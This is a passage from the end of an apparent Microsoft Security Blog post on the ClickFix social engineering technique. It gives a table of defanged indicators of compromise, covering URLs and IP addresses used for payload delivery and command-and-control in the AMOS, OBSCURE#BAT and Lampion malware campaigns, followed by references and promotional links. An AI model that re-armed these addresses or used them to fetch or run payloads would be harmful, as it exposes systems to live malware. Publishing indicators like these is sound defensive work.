campaign 2025-06-02 2025-06-02 applemacios[.]com/vv/install.sh
URL
URL
used in ClickFix command (entered in the
Bash
shell) in the AMOS
campaign 2025-05-30 2025-05-30 applemacios[.]com/vv/
update
URL
URL
used in the AMOS
campaign to download the AMOS
payload 2025-05-30 2025-05-30 guildmerger[.]co/verify/eminem
URL
ClickFix landing page used in OBSCURE#BAT
campaign 2025-03-27 2025-03-27 files.catbox[.]moe/snenal.bat
URL
URL
used in ClickFix command (entered into Run dialog) in the OBSCURE#BAT
campaign 2025-03-27 2025-03-27 185.234.72
[.]186 IP address IP address used in OBSCURE#BAT
campaign for
C2 2025-02-24 2025-02-24 45.94.31
[.]176 IP address IP address used in OBSCURE#BAT
campaign for
C2 2025-03-27 2025-03-27 3.138.123
[.]13 IP address IP address used in ClickFix command (entered into Run
dialog) in the Lampion phishing
campaign 2025-05-06 2025-05-06 16.171.23

[.]221 IP address IP address used in Lampion malware
campaign to download additional payloads 2025-05-06 2025-05-06 3.23.103
[.]13 IP address IP address used in Lampion malware
campaign for
C2 2025-05-06 2025-05-06 83.242.96
[.]159 IP address IP address used in Lampion malware
campaign for
C2 2025-05-06 2025-05-06 5.8.9
[.]77 IP address IP address used in Lampion malware
campaign for
C2 2025-05-06 2025-05-06 References https:
//www.securonix.com/blog/analyzing-obscurebat-threat-actors-lure-victims-in
to-executing-malicious-batch-scripts-to-deploy-stealthy-rootkits/ https:
//www.cloudsek.com/blog/amos-variant-distributed-via-clickfix-in-spectrum-t
hemed-dynamic-delivery-
campaign-by-russian-speaking-hackers
Learn more To know how Microsoft can help your team stop similar threats and
prevent future
compromise with human-led managed
services
, check out Microsoft Defender Experts for XDR . For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog . To get notified about new publications and to join discussions on social media, follow us on LinkedIn , X (formerly Twitter) , and Bluesky . To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast . The post Think before you Click(Fix): Analyzing the ClickFix social engineering
technique appeared first on Microsoft Security Blog .